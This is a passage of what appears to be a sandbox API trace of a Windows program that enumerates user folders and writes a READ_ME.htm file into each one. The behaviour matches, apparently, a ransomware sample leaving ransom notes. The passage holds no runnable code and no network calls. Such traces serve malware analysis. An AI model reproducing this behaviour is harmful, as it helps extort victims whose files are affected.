ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0155.315] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7ee582f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0155.315] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.316] SetErrorMode (uMode=0x0) returned 0x1 [0155.316] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\READ_ME.htm", lpFilePart=0x0) returned 0x35 [0155.316] SetErrorMode (uMode=0x1) returned 0x0 [0155.316] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\MSN Websites\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\favorites\\msn websites\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.321] GetFileType (hFile=0x1d0) returned 0x1 [0155.321] SetErrorMode (uMode=0x0) returned 0x1 [0155.321] GetFileType (hFile=0x1d0) returned 0x1 [0155.321] WriteFile (in: hFile=0x1d0, lpBuffer=0x29d9c20*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29d9c20*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0155.323] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Favorites\\READ_ME.htm", lpFilePart=0x0) returned 0x28 [0155.323] SetErrorMode (uMode=0x1) returned 0x0 [0155.323] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Favorites\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\favorites\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.324] GetFileType (hFile=0x1d0) returned 0x1 [0155.324] SetErrorMode (uMode=0x0) returned 0x1 [0155.324] GetFileType (hFile=0x1d0) returned 0x1 [0155.324] WriteFile (in: hFile=0x1d0, lpBuffer=0x29de190*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29de190*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0155.326] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Links", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Links", lpFilePart=0x0) returned 0x18 [0155.326] SetErrorMode (uMode=0x1) returned 0x0 [0155.326] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Links\\*" (normalized: "c:\\users\\keecfmwgj\\links\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf2ab6db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2ab6db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf2ab6db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2ab6db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b2df0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0155.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b2df0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0155.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b2df0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x36e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0155.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ab6db0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2ab6db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2ab6db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x5fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1 [0155.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b06e0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0155.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b06e0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0155.327] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.327] SetErrorMode (uMode=0x0) returned 0x1 [0155.328] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Links", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Links", lpFilePart=0x0) returned 0x18 [0155.328] SetErrorMode (uMode=0x1) returned 0x0 [0155.328] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Links\\*" (normalized: "c:\\users\\keecfmwgj\\links\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf2ab6db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2ab6db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.328] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf2ab6db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2ab6db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.328] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b2df0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0155.328] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798f9b10, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798f9b10, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b2df0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0155.328] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b2df0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x36e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0155.328] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ab6db0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2ab6db0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2ab6db0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x5fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1 [0155.328] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b06e0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0155.329] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8b06e0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0155.329] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.329] SetErrorMode (uMode=0x0) returned 0x1 [0155.329] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Links\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Links\\READ_ME.htm", lpFilePart=0x0) returned 0x24 [0155.329] SetErrorMode (uMode=0x1) returned 0x0 [0155.329] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Links\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\links\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.330] GetFileType (hFile=0x1d0) returned 0x1 [0155.330] SetErrorMode (uMode=0x0) returned 0x1 [0155.330] GetFileType (hFile=0x1d0) returned 0x1 [0155.330] WriteFile (in: hFile=0x1d0, lpBuffer=0x29e4800*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29e4800*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0155.331] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Local Settings", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Local Settings", lpFilePart=0x0) returned 0x21 [0155.332] SetErrorMode (uMode=0x1) returned 0x0 [0155.332] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Local Settings\\*" (normalized: "c:\\users\\keecfmwgj\\local settings\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0155.347] SetErrorMode (uMode=0x0) returned 0x1 [0155.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Local Settings\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Local Settings\\READ_ME.htm", lpFilePart=0x0) returned 0x2d [0155.349] SetErrorMode (uMode=0x1) returned 0x0 [0155.349] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Local Settings\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\local settings\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.350] GetFileType (hFile=0x1d0) returned 0x1 [0155.350] SetErrorMode (uMode=0x0) returned 0x1 [0155.350] GetFileType (hFile=0x1d0) returned 0x1 [0155.350] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ea198*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29ea198*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0155.351] CloseHandle (hObject=0x1d0) returned 1 [0155.352] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0155.352] SetErrorMode (uMode=0x1) returned 0x0 [0155.352] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\*" (normalized: "c:\\users\\keecfmwgj\\music\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x57f8a860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57f8a860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.352] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x57f8a860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57f8a860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb789f450, ftCreationTime.dwHighDateTime=0x1d8b193, ftLastAccessTime.dwLowDateTime=0x829db0d0, ftLastAccessTime.dwHighDateTime=0x1d8b7d1, ftLastWriteTime.dwLowDateTime=0x829db0d0, ftLastWriteTime.dwHighDateTime=0x1d8b7d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0Gi9jAAneSNZB2RiMYa", cAlternateFileName="0GI9JA~1")) returned 1 [0155.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7c64620, ftCreationTime.dwHighDateTime=0x1d8b9c0, ftLastAccessTime.dwLowDateTime=0xbb42bd80, ftLastAccessTime.dwHighDateTime=0x1d8be3f, ftLastWriteTime.dwLowDateTime=0xbb42bd80, ftLastWriteTime.dwHighDateTime=0x1d8be3f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4waS", cAlternateFileName="")) returned 1 [0155.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cbc14d0, ftCreationTime.dwHighDateTime=0x1d8bfdf, ftLastAccessTime.dwLowDateTime=0xb6f07470, ftLastAccessTime.dwHighDateTime=0x1d8c02e, ftLastWriteTime.dwLowDateTime=0xb6f07470, ftLastWriteTime.dwHighDateTime=0x1d8c02e, nFileSizeHigh=0x0, nFileSizeLow=0xe894, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cp-l.mp3", cAlternateFileName="")) returned 1 [0155.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e80a6a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0155.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a708a70, ftCreationTime.dwHighDateTime=0x1d8b435, ftLastAccessTime.dwLowDateTime=0x3e94ffc0, ftLastAccessTime.dwHighDateTime=0x1d8ba28, ftLastWriteTime.dwLowDateTime=0x3e94ffc0, ftLastWriteTime.dwHighDateTime=0x1d8ba28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fXs7dyEh5KRVvZ0H", cAlternateFileName="FXS7DY~1")) returned 1 [0155.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd311a820, ftCreationTime.dwHighDateTime=0x1d8b38d, ftLastAccessTime.dwLowDateTime=0x9b0c5e80, ftLastAccessTime.dwHighDateTime=0x1d8b41d, ftLastWriteTime.dwLowDateTime=0x9b0c5e80, ftLastWriteTime.dwHighDateTime=0x1d8b41d, nFileSizeHigh=0x0, nFileSizeLow=0x647f, dwReserved0=0x0, dwReserved1=0x0, cFileName="m 9QJbhnwqf5Sb5F.wav", cAlternateFileName="M9QJBH~1.WAV")) returned 1 [0155.353] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57f8a860, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x57f8a860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57f8a860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0155.354] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57f8a860, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x57f8a860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57f8a860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0155.354] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.354] SetErrorMode (uMode=0x0) returned 0x1 [0155.354] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0155.354] SetErrorMode (uMode=0x1) returned 0x0 [0155.354] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\*" (normalized: "c:\\users\\keecfmwgj\\music\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x57f8a860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57f8a860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.355] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x57f8a860, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x57f8a860, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.355] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb789f450, ftCreationTime.dwHighDateTime=0x1d8b193, ftLastAccessTime.dwLowDateTime=0x829db0d0, ftLastAccessTime.dwHighDateTime=0x1d8b7d1, ftLastWriteTime.dwLowDateTime=0x829db0d0, ftLastWriteTime.dwHighDateTime=0x1d8b7d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0Gi9jAAneSNZB2RiMYa", cAlternateFileName="0GI9JA~1")) returned 1 [0155.355] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7c64620, ftCreationTime.dwHighDateTime=0x1d8b9c0, ftLastAccessTime.dwLowDateTime=0xbb42bd80, ftLastAccessTime.dwHighDateTime=0x1d8be3f, ftLastWriteTime.dwLowDateTime=0xbb42bd80, ftLastWriteTime.dwHighDateTime=0x1d8be3f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4waS", cAlternateFileName="")) returned 1 [0155.355] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cbc14d0, ftCreationTime.dwHighDateTime=0x1d8bfdf, ftLastAccessTime.dwLowDateTime=0xb6f07470, ftLastAccessTime.dwHighDateTime=0x1d8c02e, ftLastWriteTime.dwLowDateTime=0xb6f07470, ftLastWriteTime.dwHighDateTime=0x1d8c02e, nFileSizeHigh=0x0, nFileSizeLow=0xe894, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cp-l.mp3", cAlternateFileName="")) returned 1 [0155.355] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x798d39b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e80a6a0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, 